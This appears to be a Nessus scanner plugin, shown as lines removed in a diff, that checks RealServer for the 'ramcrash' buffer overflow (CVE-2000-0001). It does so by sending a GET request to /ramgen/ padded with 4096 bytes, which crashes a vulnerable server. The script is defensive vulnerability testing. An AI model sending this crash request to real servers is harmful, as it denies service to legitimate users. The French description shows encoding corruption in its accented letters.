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- #
- # This script was written by Renaud Deraison
- #
- # Original exploit code : see http://www.beavuh.org
- #
- # See the Nessus Scripts License for details
- #
- #
- if(description)
- {
- script_id(10199);
- script_bugtraq_id(888);
- script_version ("$Revision: 1.16 $");
- script_cve_id("CVE-2000-0001");
-
- name["english"] = "RealServer Ramgen crash (ramcrash)";
- name["francais"] = "RealServer Ramgen crash (ramcrash)";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- It was possible to crash the remote Real server
- by sending the request :
-
- GET /ramgen/AAAAA[...]AAA HTTP/1.1
-
- An attacker may use this flaw to prevent this
- system from serving Real Audio or Video
- content to legitimate clients
-
- Solution : Upgrade to a fixed version of RealServer.
- Risk factor : High";
-
-
- desc["francais"] = "
- Il s'est avΘrΘ possible de faire planter
- le serveur Real distant en lui envoyant
- la requete :
-
- GET /ramgen/AAAA[...]AAAA HTTP/1.1
-
- Un pirate peut utiliser ce problΦme pour
- empecher ce systΦme de servir des donnΘes
- au format real audio / real video aux
- clients lΘgitimes.
-
- Solution : Upgradez en version 6.0
- Facteur de risque : ElevΘ";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Overflows a buffer in RealServer";
- script_summary(english:summary["english"]);
-
- script_category(ACT_DENIAL);
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
-
- script_require_ports(7070, "Services/realserver");
- script_dependencies("find_service.nes");
- exit(0);
- }
-
- include("http_func.inc");
-
- port = get_kb_item("Services/realserver");
- if(!port)port = 7070;
- if(get_port_state(port))
- {
- if(http_is_dead(port:port))exit(0);
-
- soc = http_open_socket(port);
- if(soc)
- {
- s = http_get(item:string("/ramgen/", crap(4096)), port:port);
- send(socket:soc, data:s);
- r = http_recv(socket:soc);
- http_close_socket(soc);
-
- if(http_is_dead(port:port))exit(0);
- }
- }
-